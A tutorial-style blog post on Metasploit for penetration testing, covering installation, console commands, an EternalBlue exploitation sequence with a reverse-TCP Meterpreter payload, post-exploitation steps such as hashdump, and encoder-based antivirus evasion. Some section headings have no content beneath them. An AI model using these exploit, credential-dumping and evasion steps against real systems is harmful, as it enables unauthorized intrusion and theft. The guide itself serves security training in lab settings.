tools March 20, 2026 8 min read

How to Use Metasploit Framework for Penetration Testing

Metasploit Framework is the world's most powerful and widely-used penetration testing platform, offering cybersecurity professionals a comprehensive toolkit for identifying, exploiting, and validating security vulnerabilities. Whether you're just starting your ethical hacking journey or looking to enhance your penetration testing skills, understanding Metasploit is essential for any serious security professional.

This comprehensive guide will walk you through the fundamentals of using Metasploit Framework, from basic setup to executing your first penetration tests. We'll cover practical examples, real commands, and best practices to help you master this indispensable cybersecurity tool while maintaining ethical standards.

What is Metasploit Framework?

Metasploit Framework is an open-source penetration testing platform developed by Rapid7 that provides security researchers and ethical hackers with a robust environment for developing, testing, and executing exploit code against remote targets. Originally created by H.D. Moore in 2003, Metasploit has evolved into the de facto standard for penetration testing and vulnerability assessment.

The framework consists of several key components:

Metasploit operates on multiple platforms including Linux, Windows, and macOS, making it accessible to security professionals regardless of their preferred operating system. The framework comes in both free (Community) and commercial (Pro) versions, with the Community edition providing more than enough functionality for learning and basic penetration testing.

Setting Up Metasploit Framework

Before diving into penetration testing with Metasploit, you'll need to properly install and configure the framework. The installation process varies depending on your operating system, but we'll focus on the most common scenarios.

Installing on Kali Linux

Kali Linux comes with Metasploit pre-installed, making it the easiest platform for beginners. However, you should ensure you have the latest version:

sudo apt update
sudo apt install metasploit-framework

Installing on Ubuntu/Debian

For Ubuntu or Debian systems, you can install Metasploit using the official installer:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Initial Configuration

After installation, you'll need to initialize the PostgreSQL database that Metasploit uses to store information:

sudo systemctl start postgresql
sudo msfdb init

To start the Metasploit console, simply run:

msfconsole

You should see the distinctive Metasploit banner and command prompt, indicating that the framework is ready for use.

Essential Metasploit Commands and Navigation

Understanding the basic commands and navigation within Metasploit is crucial for effective penetration testing. The framework uses a command-line interface with intuitive commands that follow logical patterns.

Basic Navigation Commands

Here are the fundamental commands you'll use regularly:

help                    # Display available commands
search [term]          # Search for modules
use [module_path]      # Select a module
info                   # Display module information
show options          # Show configurable parameters
set [option] [value]  # Set parameter values
run or exploit        # Execute the selected module
back                  # Return to main console
exit                  # Leave Metasploit

Searching for Exploits

One of Metasploit's greatest strengths is its extensive database of exploits. You can search for specific vulnerabilities or target systems:

search ms17-010        # Search for EternalBlue exploit
search type:exploit platform:windows
search apache          # Find Apache-related modules

Working with Workspaces

Workspaces help organize your penetration testing projects and keep data separated:

workspace                # List available workspaces
workspace -a testlab    # Create new workspace named "testlab"
workspace testlab       # Switch to testlab workspace
workspace -d testlab    # Delete testlab workspace

Conducting Your First Penetration Test

Let's walk through a practical example of using Metasploit to conduct a penetration test. For educational purposes, we'll demonstrate testing against a deliberately vulnerable system in a controlled environment.

Phase 1: Information Gathering

Before exploiting any system, you need to gather information about potential targets. Metasploit includes auxiliary modules for scanning and reconnaissance:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 10
run

This command scans a network range for open TCP ports. You can also use Nmap integration within Metasploit:

db_nmap -sS -A 192.168.1.100

Phase 2: Vulnerability Identification

Once you've identified potential targets, search for applicable exploits. For example, if you discovered a Windows system running SMB services:

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run

This auxiliary module identifies the SMB version, which helps determine applicable exploits.

Phase 3: Exploitation

After identifying a vulnerable service, select an appropriate exploit. Let's use the famous EternalBlue exploit as an example:

use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
show options
exploit

If successful, you'll obtain a Meterpreter session, which provides powerful post-exploitation capabilities.

Phase 4: Post-Exploitation

With an active Meterpreter session, you can perform various post-exploitation activities:

sessions -l              # List active sessions
sessions -i 1           # Interact with session 1
sysinfo                 # Display system information
getuid                  # Show current user privileges
hashdump               # Extract password hashes (if privileged)
screenshot             # Capture desktop screenshot

Advanced Metasploit Techniques

As you become more comfortable with basic Metasploit operations, you can explore advanced techniques that enhance your penetration testing capabilities.

Payload Customization

Different situations require different payloads. Understanding payload options helps you adapt to various network configurations and security controls:

show payloads           # Display available payloads for current exploit
set payload windows/meterpreter/bind_tcp     # Direct connection payload
set payload windows/meterpreter/reverse_tcp  # Reverse connection payload

Evasion Techniques

Modern security systems often detect standard Metasploit payloads. Using encoders can help evade basic detection:

show encoders           # Display available encoders
set encoder x86/shikata_ga_nai
set iterations 5       # Encode multiple times

Automation with Resource Scripts

Resource scripts allow you to automate repetitive tasks and create reproducible testing procedures:

resource /path/to/script.rc    # Execute resource script
makerc /path/to/output.rc     # Save current session as script

Best Practices and Ethical Considerations

Using Metasploit effectively and responsibly requires adherence to best practices and ethical guidelines that ensure your activities remain within legal boundaries.

Legal and Ethical Guidelines

Technical Best Practices

Follow these technical guidelines to maximize effectiveness while minimizing risks:

  1. Keep Metasploit updated: Regular updates ensure access to latest exploits and fixes
  2. Use isolated environments: Practice in controlled lab environments before real assessments
  3. Document thoroughly: Maintain detailed records of tests and findings
  4. Validate results: Confirm successful exploits and avoid false positives
  5. Clean up: Remove any artifacts created during testing

Building Your Lab Environment

Creating a safe learning environment is essential for developing Metasploit skills. Consider setting up:

Conclusion and Next Steps

Mastering Metasploit Framework is a journey that requires consistent practice, continuous learning, and ethical responsibility. This guide has provided you with the fundamental knowledge needed to begin your penetration testing journey, from basic setup and navigation to conducting structured security assessments.

To continue developing your skills, focus on building a comprehensive lab environment where you can safely practice various attack scenarios. Regularly update your knowledge by following security blogs, participating in capture-the-flag competitions, and pursuing relevant certifications such as CEH, OSCP, or GCPN.

Remember that with great power comes great responsibility. Use Metasploit and other penetration testing tools only within legal boundaries and always prioritize the security and privacy of the systems you're authorized to test. By following ethical guidelines and best practices, you'll contribute positively to the cybersecurity community while advancing your professional career.

Always ensure you have explicit written permission before testing any systems, and never use these techniques against systems you don't own or lack authorization to test.

Want more cybersecurity tutorials delivered to your inbox?

Subscribe Free →